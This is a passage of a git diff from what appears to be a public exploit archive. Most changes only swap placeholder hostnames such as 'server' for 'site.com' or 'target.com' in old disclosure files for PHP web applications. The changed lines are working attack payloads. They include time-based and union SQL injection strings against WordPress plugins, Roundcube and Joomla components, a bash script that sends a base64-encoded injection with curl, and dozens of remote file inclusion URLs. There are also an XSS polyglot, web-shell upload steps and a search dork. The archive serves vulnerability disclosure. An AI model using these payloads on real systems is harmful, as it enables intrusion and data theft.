dbbxpl.pl www.someserver /forum/ 1 + perl dbbxpl.pl www.somesite.com /forum/ 1 }; diff --git a/platforms/php/webapps/17957.txt b/platforms/php/webapps/17957.txt index ecc95c64b..38bce006f 100755 --- a/platforms/php/webapps/17957.txt +++ b/platforms/php/webapps/17957.txt @@ -10,7 +10,7 @@ is vulnerable to SQL Union Injection. "POST" data in -http://server/roundcube/index.php +http://site.com/roundcube/index.php _pass=FrAmE30.&_url=_task=mail&_timezone=_default_&_token=cd5bf19253710dfd569f09bfab862ab3&_action=login&_user=1'+or+BENCHMARK(2500000%2CMD5(1))+or+'1'='1" diff --git a/platforms/php/webapps/17973.txt b/platforms/php/webapps/17973.txt index 4f81f7069..5bdda0f7e 100755 --- a/platforms/php/webapps/17973.txt +++ b/platforms/php/webapps/17973.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 +http://www.site.com/wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17980.txt b/platforms/php/webapps/17980.txt index ef6d34edc..de2385080 100755 --- a/platforms/php/webapps/17980.txt +++ b/platforms/php/webapps/17980.txt @@ -7,7 +7,7 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/contact-form-wordpress/easy-form.class.php +http://www.site.com/wp-content/plugins/contact-form-wordpress/easy-form.class.php wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0) e.g. diff --git a/platforms/php/webapps/17984.txt b/platforms/php/webapps/17984.txt index 6c3a91221..0704d4b9f 100755 --- a/platforms/php/webapps/17984.txt +++ b/platforms/php/webapps/17984.txt @@ -1,4 +1,4 @@ - + # Exploit Title: [Ruubikcms v 1.1.0 (/extra/image.php) Local File Inclusion Vulnerability] # Date: [2011/10/16] # Author: [Sangyun YOO] diff --git a/platforms/php/webapps/1800.txt b/platforms/php/webapps/1800.txt index 072940bb6..f70a8f2f3 100755 --- a/platforms/php/webapps/1800.txt +++ b/platforms/php/webapps/1800.txt @@ -6,25 +6,25 @@ #dork: "(Powered By ScozNews)" ################################################################## -http://www.server/[news_path]/sources/functions.php?CONFIG[main_path]=[evil_scripts] +http://www.site.com/[news_path]/sources/functions.php?CONFIG[main_path]=[evil_scripts] -http://www.server/[news_path]/sources/template.php?CONFIG[main_path]=[evil_scripts] +http://www.site.com/[news_path]/sources/template.php?CONFIG[main_path]=[evil_scripts] -http://www.server/[news_path]/sources/news.php?CONFIG[main_path]=[evil_scripts] +http://www.site.com/[news_path]/sources/news.php?CONFIG[main_path]=[evil_scripts] -http://www.server/[news_path]/sources/help.php?CONFIG[main_path]=[evil_scripts] +http://www.site.com/[news_path]/sources/help.php?CONFIG[main_path]=[evil_scripts] -http://www.server/[news_path]/sources/mail.php?CONFIG[main_path]=[evil_scripts] +http://www.site.com/[news_path]/sources/mail.php?CONFIG[main_path]=[evil_scripts] -http://www.server/[news_path]/sources/Admin/admin_cats.php?CONFIG[main_path]=[evil_scripts] +http://www.site.com/[news_path]/sources/Admin/admin_cats.php?CONFIG[main_path]=[evil_scripts] -http://www.server/[news_path]/sources/Admin/admin_edit.php?CONFIG[main_path]=[evil_scripts] +http://www.site.com/[news_path]/sources/Admin/admin_edit.php?CONFIG[main_path]=[evil_scripts] -http://www.server/[news_path]/sources/Admin/admin_import.php?CONFIG[main_path]=[evil_scripts] +http://www.site.com/[news_path]/sources/Admin/admin_import.php?CONFIG[main_path]=[evil_scripts] -http://www.server/[news_path]/sources/Admin/admin_templates.php?CONFIG[main_path]=[evil_scripts] +http://www.site.com/[news_path]/sources/Admin/admin_templates.php?CONFIG[main_path]=[evil_scripts] ################################################################### #Elo ;-) diff --git a/platforms/php/webapps/18000.txt b/platforms/php/webapps/18000.txt index 75c482875..79ff5158a 100755 --- a/platforms/php/webapps/18000.txt +++ b/platforms/php/webapps/18000.txt @@ -1,4 +1,4 @@ - + # Exploit Title: [1024 CMS Version 1.1.0 beta(/complete-modules/modules/forcedownload/force_download.php) Local File Inclusion Vulnerability] # Date: [2011/10/19] # Author: [Sangyun YOO][I2SEC] diff --git a/platforms/php/webapps/18036.txt b/platforms/php/webapps/18036.txt index cef924c5d..06ad55102 100755 --- a/platforms/php/webapps/18036.txt +++ b/platforms/php/webapps/18036.txt @@ -1,4 +1,4 @@ ----------------------------------------------------------------- + ---------------------------------------------------------------- eFront <= 3.6.10 (build 11944) Multiple Security Vulnerabilities ---------------------------------------------------------------- @@ -224,3 +224,4 @@ [11/10/2011] - Issues reported to http://bugs.efrontlearning.net/browse/EF-675 [26/10/2011] - Vendor update released: http://forum.efrontlearning.net/viewtopic.php?t=3501 [27/10/2011] - Public disclosure + \ No newline at end of file diff --git a/platforms/php/webapps/18039.txt b/platforms/php/webapps/18039.txt index 557f674c8..7918210dd 100755 --- a/platforms/php/webapps/18039.txt +++ b/platforms/php/webapps/18039.txt @@ -7,14 +7,14 @@ (POST data) --------------- -http://www.server/wp-content/plugins/wptouch/ajax.php +http://www.site.com/wp-content/plugins/wptouch/ajax.php #Exploit: id=-1; id=- AND SLEEP(5) or 1=if -http://server/wp-content/plugins/wptouch/ajax.php][GET][id=-1][CURRENT_USER() +http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][CURRENT_USER() -http://server/wp-content/plugins/wptouch/ajax.php][GET][id=-1][SELECT +http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END) -http://server/wp-content/plugins/wptouch/ajax.php][GET][id=-1][MID((VERSION()),1,6) +http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][MID((VERSION()),1,6) diff --git a/platforms/php/webapps/18048.txt b/platforms/php/webapps/18048.txt index 38a348727..560c8f8dc 100755 --- a/platforms/php/webapps/18048.txt +++ b/platforms/php/webapps/18048.txt @@ -50,4 +50,4 @@ parameter [imm]: Discovered by. -Chris Russell \ No newline at end of file +Chris Russell \ No newline at end of file diff --git a/platforms/php/webapps/18050.txt b/platforms/php/webapps/18050.txt index bf1d86f13..fe189c0b7 100755 --- a/platforms/php/webapps/18050.txt +++ b/platforms/php/webapps/18050.txt @@ -18,11 +18,11 @@ _________________________________________________________________ # # [+] SQL # -# - http://server/index.php?option=com_hmcommunity&view=fnd_home&id=[NB] union select all 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- +# - http://site.com/index.php?option=com_hmcommunity&view=fnd_home&id=[NB] union select all 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- # # [+] Blind SQL # -# - http://server//index.php?option=com_hmcommunity&view=fnd_home&id=155 and @@version=5 +# - http://site.com//index.php?option=com_hmcommunity&view=fnd_home&id=155 and @@version=5 # # [+] Persistent XSS # @@ -30,7 +30,7 @@ _________________________________________________________________ # # [+] Demo # -# - Create an account and look this profile : http://server/index.php?option=com_hmcommunity&view=fnd_profile&uid=155 +# - Create an account and look this profile : http://site.com/index.php?option=com_hmcommunity&view=fnd_profile&uid=155 # #[------------------------------------------------------------------------------------] # diff --git a/platforms/php/webapps/18063.txt b/platforms/php/webapps/18063.txt index 15535e970..f29e852bc 100755 --- a/platforms/php/webapps/18063.txt +++ b/platforms/php/webapps/18063.txt @@ -23,4 +23,4 @@ # http://127.0.0.1/pokaz_podkat.php?idkat=10&order1=1&str=' (SQL) # ################################################################################################ - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/18075.txt b/platforms/php/webapps/18075.txt index 1b703d960..d3115a74a 100755 --- a/platforms/php/webapps/18075.txt +++ b/platforms/php/webapps/18075.txt @@ -1,4 +1,4 @@ --------------------------------------------------------------------------- + -------------------------------------------------------------------------- Ajax File and Image Manager v1.0 Final Remote Code Execution Vulnerability -------------------------------------------------------------------------- diff --git a/platforms/php/webapps/1809.txt b/platforms/php/webapps/1809.txt index 6ec758095..857ad8ae6 100755 --- a/platforms/php/webapps/1809.txt +++ b/platforms/php/webapps/1809.txt @@ -13,7 +13,7 @@ include_once($GLOBALS["CLPath"]."/include/gfunc.php"); include_once($GLOBALS["CLPath"]."/classes/calogicautomation.php"); [/code] -http://server/[path]/reconfig.php?GLOBALS[CLPath]=[evil_script] +http://site.com/[path]/reconfig.php?GLOBALS[CLPath]=[evil_script] srxclr.php: @@ -24,7 +24,7 @@ include_once($GLOBALS["CLPath"]."/include/gfunc.php"); include_once($GLOBALS["CLPath"]."/include/efuncs.php"); [/code] -http://server/[path]/srxclr.php?GLOBALS[CLPath]=[evil_script] +http://site.com/[path]/srxclr.php?GLOBALS[CLPath]=[evil_script] #pozdro :) diff --git a/platforms/php/webapps/18110.txt b/platforms/php/webapps/18110.txt index 431260fed..440597dd8 100755 --- a/platforms/php/webapps/18110.txt +++ b/platforms/php/webapps/18110.txt @@ -20,7 +20,7 @@ SQL Injection attack. [#] Explaination : - -http://server/mambo/administrator/index2.php?limit=10&order[]=11&boxchecked=0&toggle=on&search=sqli&task=&limitstart=0&cid[]=on&zorder= +http://target.com/mambo/administrator/index2.php?limit=10&order[]=11&boxchecked=0&toggle=on&search=sqli&task=&limitstart=0&cid[]=on&zorder= (SQL Inj Codes) #################################################################### diff --git a/platforms/php/webapps/18114.txt b/platforms/php/webapps/18114.txt index 7b46ede8f..e7e42b0e5 100755 --- a/platforms/php/webapps/18114.txt +++ b/platforms/php/webapps/18114.txt @@ -8,13 +8,13 @@ --- PoC --- -http://www.server/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj +http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj e.g. #!/bin/bash payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" | base64 -w 0` -curl http://www.server/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded +curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded --------------- Vulnerable code diff --git a/platforms/php/webapps/18118.txt b/platforms/php/webapps/18118.txt index 9c93c2f51..30feceab8 100755 --- a/platforms/php/webapps/18118.txt +++ b/platforms/php/webapps/18118.txt @@ -11,7 +11,7 @@ Vulnerablity http://[localhost]/[path]/index.php?action=list&order=name&srt=yes -http://server/[xyz]/index.php?action=list&order=name&srt=yes +http://site.com/[xyz]/index.php?action=list&order=name&srt=yes ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- after Going to this you will saw a file manager @@ -21,7 +21,7 @@ find this icons in page and click on last, its upload option :: You can direct upload too with chnaging url, just put action=upload&order=name&srt=yes after index.php? Quote: -example : http://server/[xyz]/index.php?action=upload&order=name&srt=yes +example : http://site.com/[xyz]/index.php?action=upload&order=name&srt=yes Shell Example : shell.php, shell.asp, shell.html, shell.php.jpg, shell.asp.jpg, or,, - anything support file diff --git a/platforms/php/webapps/1817.txt b/platforms/php/webapps/1817.txt index 42f058bff..066150ac8 100755 --- a/platforms/php/webapps/1817.txt +++ b/platforms/php/webapps/1817.txt @@ -17,25 +17,25 @@ require_once($GLOBALS['where_framework'].'/lib/lib.mimetype.php'); #DoceboCMS: -http://www.server/docebocms/lib/lib.simplesel.php?GLOBALS[where_framework]=[evil_code] +http://www.site.com/docebocms/lib/lib.simplesel.php?GLOBALS[where_framework]=[evil_code] #DoceboKms: -http://www.server/doceboKms/modules/documents/lib.filelist.php?GLOBALS[where_framework]=[evil_code] +http://www.site.com/doceboKms/modules/documents/lib.filelist.php?GLOBALS[where_framework]=[evil_code] -http://www.server/doceboKms/modules/documents/tree.documents.php?GLOBALS[where_framework]=[evil_code] +http://www.site.com/doceboKms/modules/documents/tree.documents.php?GLOBALS[where_framework]=[evil_code] #DoceboLms: -http://www.server/doceboLms/lib/lib.repo.php?GLOBALS[where_framework]=[evil_code] +http://www.site.com/doceboLms/lib/lib.repo.php?GLOBALS[where_framework]=[evil_code] #DoceboCore: -http://www.server/doceboCore/lib/lib.php?GLOBALS[where_framework]=[evil_code] +http://www.site.com/doceboCore/lib/lib.php?GLOBALS[where_framework]=[evil_code] #DoceboScs: -http://www.server/doceboScs/lib/lib.teleskill.php?GLOBALS[where_scs]=[evil_code] +http://www.site.com/doceboScs/lib/lib.teleskill.php?GLOBALS[where_scs]=[evil_code] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #The End ;-) diff --git a/platforms/php/webapps/18177.txt b/platforms/php/webapps/18177.txt index 49313578a..fee9f1f20 100755 --- a/platforms/php/webapps/18177.txt +++ b/platforms/php/webapps/18177.txt @@ -1,4 +1,4 @@ ----------------------------------------------------- + ---------------------------------------------------- WikkaWiki <= 1.3.2 Multiple Security Vulnerabilities ---------------------------------------------------- diff --git a/platforms/php/webapps/18236.txt b/platforms/php/webapps/18236.txt index 1e77f7989..0e32643a0 100755 --- a/platforms/php/webapps/18236.txt +++ b/platforms/php/webapps/18236.txt @@ -27,4 +27,4 @@ comment: <input type="Text" name="comment" id="comment" size="15"/><br> - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/1824.txt b/platforms/php/webapps/1824.txt index 979d8d12f..03888d00f 100755 --- a/platforms/php/webapps/1824.txt +++ b/platforms/php/webapps/1824.txt @@ -23,7 +23,7 @@ include($REDSYS["MYPATH"]["TEMPLATES"]."/redsys/404.tmp"); [/code] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -http://www.server/[open-mediumCMS_path]/redsys/404.php?REDSYS[MYPATH][TEMPLATES]=[evil_scripts] +http://www.site.com/[open-mediumCMS_path]/redsys/404.php?REDSYS[MYPATH][TEMPLATES]=[evil_scripts] ################################################################### diff --git a/platforms/php/webapps/1825.txt b/platforms/php/webapps/1825.txt index 4442c3217..576272e34 100755 --- a/platforms/php/webapps/1825.txt +++ b/platforms/php/webapps/1825.txt @@ -26,7 +26,7 @@ BE_config.php Line 27-31: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -http://www.server/[Back-End_path]/BE_config.php?_PSL[classdir]=[evil_scripts] +http://www.site.com/[Back-End_path]/BE_config.php?_PSL[classdir]=[evil_scripts] #Elo ;-) diff --git a/platforms/php/webapps/18251.txt b/platforms/php/webapps/18251.txt index e605aa341..bc944cfb8 100755 --- a/platforms/php/webapps/18251.txt +++ b/platforms/php/webapps/18251.txt @@ -24,4 +24,4 @@ # ################################################################################################ # ( Vulnerability Researcher ) -################################################################################################ \ No newline at end of file +################################################################################################ \ No newline at end of file diff --git a/platforms/php/webapps/18261.txt b/platforms/php/webapps/18261.txt index f8bf2b018..9ee586172 100755 --- a/platforms/php/webapps/18261.txt +++ b/platforms/php/webapps/18261.txt @@ -135,9 +135,9 @@ File: http://www.vulnerability-lab.com:8080/setup-network.php References: -http://server:8080/auth-settings.php -http://server:8080/setup-relay.php -http://server:8080/setup-network.php +http://server.com:8080/auth-settings.php +http://server.com:8080/setup-relay.php +http://server.com:8080/setup-network.php Risk: diff --git a/platforms/php/webapps/18265.txt b/platforms/php/webapps/18265.txt index c191f4411..ee820194c 100755 --- a/platforms/php/webapps/18265.txt +++ b/platforms/php/webapps/18265.txt @@ -1,4 +1,4 @@ -------------------------------------------------------------------------- + ------------------------------------------------------------------------- Tiki Wiki CMS Groupware <= 8.2 (snarf_ajax.php) Remote PHP Code Injection ------------------------------------------------------------------------- diff --git a/platforms/php/webapps/18274.txt b/platforms/php/webapps/18274.txt index cf7c5d036..a8c9c911e 100755 --- a/platforms/php/webapps/18274.txt +++ b/platforms/php/webapps/18274.txt @@ -18,7 +18,7 @@ first installed PATIENTID = 1 OpenEMR 4 (Level @ Smash The Stack) XSS -http://server/oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E +http://www.target.com/oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E OpenEMR 4 (Level @ Smash The Stack) @@ -26,7 +26,7 @@ OpenEMR 4 (Level @ Smash The Stack) Summary: validateUser.php SQL Injection Initial Comment: -http://server/oe/interface/login/validateUser.php?u=test' +http://www.target.com/oe/interface/login/validateUser.php?u=test' validateUser.php: $user = $_GET['u']; diff --git a/platforms/php/webapps/1829.txt b/platforms/php/webapps/1829.txt index 8568e6b29..8e3e7ae5e 100755 --- a/platforms/php/webapps/1829.txt +++ b/platforms/php/webapps/1829.txt @@ -38,36 +38,36 @@ And more.......... ;-) expl: -http://www.server/[APC_path]/cached.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/cached.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/cron.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/cron.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/discussion.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/discussion.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/filldisc.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/filldisc.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/filler.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/filler.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/fillform.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/fillform.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/go.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/hiercons.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/go.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/hiercons.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/jsview.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/jsview.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/live_checkbox.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/live_checkbox.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/offline.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/offline.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/post2shtml.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/post2shtml.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/search.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/search.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/slice.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/slice.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/sql_update.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/sql_update.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/view.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/view.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] /* @@ -87,90 +87,90 @@ have this verbilities All can expl: -http://www.server/[APC_path]/admin/[any_file]?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/admin/[any_file]?GLOBALS[AA_INC_PATH]=[evil_scripts] */ in includes/ folder: -http://www.server/[APC_path]/include/auth.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/auth.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/constants.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/constants.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/csn_util.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/csn_util.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/discussion.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/discussion.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/event.class.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/event.class.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/event_handler.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/event_handler.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/extauth.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/extauth.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/extauthnobody.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/extauthnobody.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/feeding.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/feeding.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/fileman.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/fileman.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/formutil.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/formutil.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/item.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/item.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/item_content.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/item_content.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/itemfunc.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/itemfunc.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/itemview.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/itemview.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/javascript.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/javascript.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/mail.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/mail.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/mailman.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/mailman.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/menu.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/menu.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/notify.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/notify.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/pagecache.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/pagecache.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/perm_sql.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/perm_sql.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/profile.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/profile.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/searchbar.class.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/searchbar.class.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/searchlib.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/searchlib.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/slicedit.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/slicedit.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/sliceobj.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/sliceobj.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/slicewiz.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/slicewiz.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/stringexpand.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/stringexpand.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/tabledit.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/tabledit.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/tabledit_util.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/tabledit_util.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/tv_email.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/tv_email.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/tv_misc.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/tv_misc.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/um_uedit.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/um_uedit.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/um_util.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/um_util.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/view.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/view.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/xml_fetch.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/xml_fetch.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/xml_rssparse.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/xml_rssparse.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] -http://www.server/[APC_path]/include/zids.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] +http://www.site.com/[APC_path]/include/zids.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] /* diff --git a/platforms/php/webapps/18297.txt b/platforms/php/webapps/18297.txt index b79280149..4422bad00 100755 --- a/platforms/php/webapps/18297.txt +++ b/platforms/php/webapps/18297.txt @@ -14,7 +14,7 @@ # Exploit: # # -# http://server/links/report.php?id=[SQLi] +# http://www.target.com/links/report.php?id=[SQLi] # # ############################################################################ diff --git a/platforms/php/webapps/18298.txt b/platforms/php/webapps/18298.txt index 559d44e5d..50fc49401 100755 --- a/platforms/php/webapps/18298.txt +++ b/platforms/php/webapps/18298.txt @@ -13,9 +13,9 @@ # Exploit: # # -# http://server/links/rate.php?id=[SQLi] -# 